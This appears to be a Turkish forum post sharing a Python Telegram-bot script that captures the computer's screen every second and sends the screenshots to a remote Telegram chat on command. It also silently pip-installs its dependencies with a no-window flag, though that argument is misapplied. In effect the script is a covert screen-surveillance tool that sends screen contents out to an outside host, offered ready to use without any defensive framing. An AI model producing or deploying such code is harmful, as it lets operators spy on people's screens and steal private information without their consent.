- 12 Kas 2022
- 9
- 0
Çalışma mantığı; PIL ImageGrab modülü ile ekran görüntüsü alıp bunu png olarak alır ve bota atar. Tek tek atmaktansa mesajı düzenleyerek atar, böylece mesaj kirliği yaratmaz.
Python:
import telebot
import pyautogui
from PIL import ImageGrab
from io import BytesIO
import time
import subprocess
import importlib
def check_module(module_name):
try:
importlib.import_module(module_name)
except ImportError:
subprocess.run(["pip", "install", module_name], subprocess.CREATE_NO_WINDOW)
check_module("pyTelegramBotAPI")
check_module("pyautogui")
check_module("Pillow")
bot = telebot.TeleBot("TOKEN") #Buraya kendi tokeninizi ekleyin
recording_message_id = None
recording = False
@bot.message_handler(commands=['start'])
def send_instructions(message):
bot.reply_to(message, "Kaydı başlatmak için /record kodunu kullanın.")
@bot.message_handler(commands=['record'])
def start_recording(message):
global recording, recording_message_id
bot.reply_to(message, "Kayıt başlatıldı. /stop diyerek kayıtı durdurabilirsiniz.")
recording = True
while recording:
screenshot = ImageGrab.grab()
img_byte_array = BytesIO()
screenshot.save(img_byte_array, format='PNG')
img_byte_array = img_byte_array.getvalue()
try:
if recording_message_id:
bot.edit_message_media(media=telebot.types.InputMediaPhoto(img_byte_array), chat_id=message.chat.id, message_id=recording_message_id)
else:
sent_message = bot.send_photo(message.chat.id, img_byte_array)
recording_message_id = sent_message.message_id
except telebot.apihelper.ApiTelegramException as e:
if e.result_json['description'] == "Bad Request: message is not modified: specified new message content and reply markup are exactly the same as a current content and reply markup of the message":
pass
else:
raise e
time.sleep(1) #Süreyi kendinize göre ayarlarsınız.
@bot.message_handler(commands=['stop'])
def stop_recording(message):
global recording, recording_message_id
recording = False
bot.reply_to(message, "Kayıt durduruldu.")
recording_message_id = None
bot.polling()